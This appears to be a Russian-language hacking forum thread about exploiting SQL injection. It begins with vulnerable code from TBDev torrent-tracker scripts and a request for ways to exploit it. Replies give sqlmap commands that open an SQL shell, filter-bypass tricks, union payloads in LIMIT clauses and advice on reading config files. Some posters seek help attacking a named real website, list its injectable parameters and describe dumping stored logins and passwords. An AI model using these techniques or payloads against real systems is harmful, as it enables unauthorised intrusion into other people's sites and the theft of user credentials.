Нашел следующие уязвимости в скриптах: Торрент-трекеры основанные на TBDev 2.0 YSE 1. Уязвимость позволяет удалённому пользователю сформировать спец. атакующий url адрес и тем самым выполнять произвольный SQL запрос. ./announce.php Code: $snatch_updateset[] = "completedat = $dt"; $snatch_updateset[] = "uploaded = uploaded + $uploaded2"; $snatch_updateset[] = "downloaded = downloaded + $downloaded2"; $snatch_updateset[] = "to_go = $left"; $snatch_updateset[] = "port = $port"; $snatch_updateset[] = "last_action = $dt"; 2. Уязвимость позволяет удаленному пользователю выполнить произвольный SQL запрос в атакуемой системе. Уязвимость существует из-за не достаточной проверки входящего параметра code при вводе кода. Класс данной уязвимости низкий, по причине, того что воспользоваться ей можно если только на сервере стоит error_reporting не ниже E_WARNING. ./bonuscode.php Code: $res = sql_query("SELECT * FROM bonusgen WHERE pid = '".$s."'"); 3. Не достаточная фильтрация входящих данных дает возможность совершить атаки на файлы rss.php, announce.php, takesignup.php b на другие файлы где используется функция sqlesc(). Это связано с тем что функция sqlesc() экранирует только параметры string. Если же входящие параметры были распознаны как numeric то они не экранируются. ./include/functions.php Code: function sqlesc($value) { // Stripslashes /*if (get_magic_quotes_gpc()) { $value = stripslashes($value); }*/ // Quote if not a number or a numeric string if (!is_numeric($value)) { $value = "'" . mysql_real_escape_string($value) . "'"; } return $value; } ./include/functions_announce.php Code: function sqlesc($value) { // Stripslashes /*if (get_magic_quotes_gpc()) { $value = stripslashes($value); }*/ // Quote if not a number or a numeric string if (!is_numeric($value)) { $value = "'" . mysql_real_escape_string($value) . "'"; } return $value; } Подскажите, как их можно использовать? А может кто знает еще типичные уязвимости этого релиза? Спасибо
Скачал актив perl установил денвер.Дайте кто-то ссылку на рабочий exploit для проверки,например в faq.php в Vbulletin. Спасибо.
в случае если параметр передается явно в GET запросе и именем s, по условию исключаем Error-Based и Union техники то SQL-shell можно будет вызвать: python sqlmap.py -u "http://[твой_сайт]/bonuscode.php?s=1" --technique="BT" --level=5 --sql-shell в POST параметре s: python sqlmap.py -u "http://[твой_сайт]/bonuscode.php" --data="s=1" --technique="BT" --level=5 --sql-shell в Cookie параметре s: python sqlmap.py -u "http://[твой_сайт]/bonuscode.php" --cookie="s=1" --technique="BT" --level=5 --sql-shell в Referer: python sqlmap.py -u "http://[твой_сайт]/bonuscode.php" --p referer --technique="BT" --level=5 --sql-shell в User-Agent: python sqlmap.py -u "http://[твой_сайт]/bonuscode.php" --p user-agent --technique="BT" --level=5 --sql-shell в любом добавочном хидере: python sqlmap.py -u "http://[твой_сайт]/bonuscode.php" --headers="Accept-Language: fr\nETag: 1%1" --technique="BT" --level=5 --sql-shell и т.д.
ne kak ne mogu podobrat union+select , vashe ne chego ne xochet ponimat etot sayt , mojet kto nebud xotabi zacepku podkinut http://www.pixheaven.net/bestof.php?begin=276&entout=12' ili http://www.pixheaven.net/photo.php?nom=120906_9930-46'
что-то я тоже не могу вдуплить просмотрел сайт, вот эти уязвимые к sql-inj параметры: Code: /bestof.php begin entout /bestof_us.php begin entout /blog.php begin /blog_us.php begin /livredor_lire.php begin /livredor_lire_us.php begin /maj.php begin /maj_us.php begin /photo nom /photo.php nom /photo_us nom /publications_site.php begin /publications_site_us.php begin /recherche_quoi.php Afficher begin entout /recherche_quoi_us.php Afficher begin entout /wallpapers.php begin entout /wallpapers_us.php begin entout но ни один не смог раскрутить...
Инъекция в Лимите прекрасно крутится. Тут правильнее сказать "инъекция в лимите с использованием в запросе order by".
пацаны, как вы боритесь с ЧПУ? GET /page/id/5 - normal /page/id/6-1 - показывает страницу 5 /page/id/5' уже понятно что всё довольно таки просто. НО сраное чпу передаёт плюсы "как есть" та же хрень с пробелами, они превращаются в %20 /**/ - тоже не катит, этот каким-то образом влияет на само правило ЧПУ и параметры уходят не тому скрипту.
Без ссылки, как ты понимаешь, трудно сказать, но попробуй поиграйся с альтернативами пробела. %09 %0D %0A Ну и не стоит забывать про "безпробельный" вариант запроса, что-то типа: select(1)from(users)where(id=1)
игры с %09 etc ни к чему не приводят. запрос получается таким select * from tbl where id=5%0D в итоге уязвимый параметр находится не в скобках, а значит "безпробельный" тоже не получится.
Это ЧПУ, можно попробовать реализовать так, как делается в REQUEST_URI и подобных случаях - В зависимости от сервера, мы напрямую в запросе(БЕЗ БРАУЗЕРА) без кодирования пробуем передать различные символы - (), TAB, %09, + и т.п. и с их кодированием соответственно и смотрим на то, что получается. Если никакие символы не интерпретируются в их аналоги, а всё лишнее кодируется то инъекцию почти всегда провести невозможно, за исключением некоторых простых случаев. Нужно попробовать использовать различные методы кодирования и определить пропускные символы, интерпретацию мультибайтовых кодировок, какие-то непонятные случаи и дальше исходить от этого.
Подскажите.. Вобщем раскрутил скулю, получил логин|пароль, но подозрительно что пароли хранятся в бд без хеширования, т.е. просто пасс лежит. Беру пары логин|пароль, пробую зайти в админку - нифига В чем может быть причина? В бд колонок с логинами\паролями больше нет...
Данные для входа хранятся не в БД, а в файле. Такое часто встречается, смиритесь! Если есть права у пользователя БД на работу с файлами и известен пусть к сайту, можете попробовать поискать и почитать файлы конфигов!
BigBear . где прочитать на тему раскрутки лимита ? И еше , тут лимит на SELECT нарисовался , его можно обойти ? ели да то где почитать на эту тему ???
Выдержка со RDOT'а В limit, offset (в запросе не должен присутствовать order by) script.php?par=1,111111111 union select version(),2,3,4-- script.php?par=111111111 union select version(),2,3,4--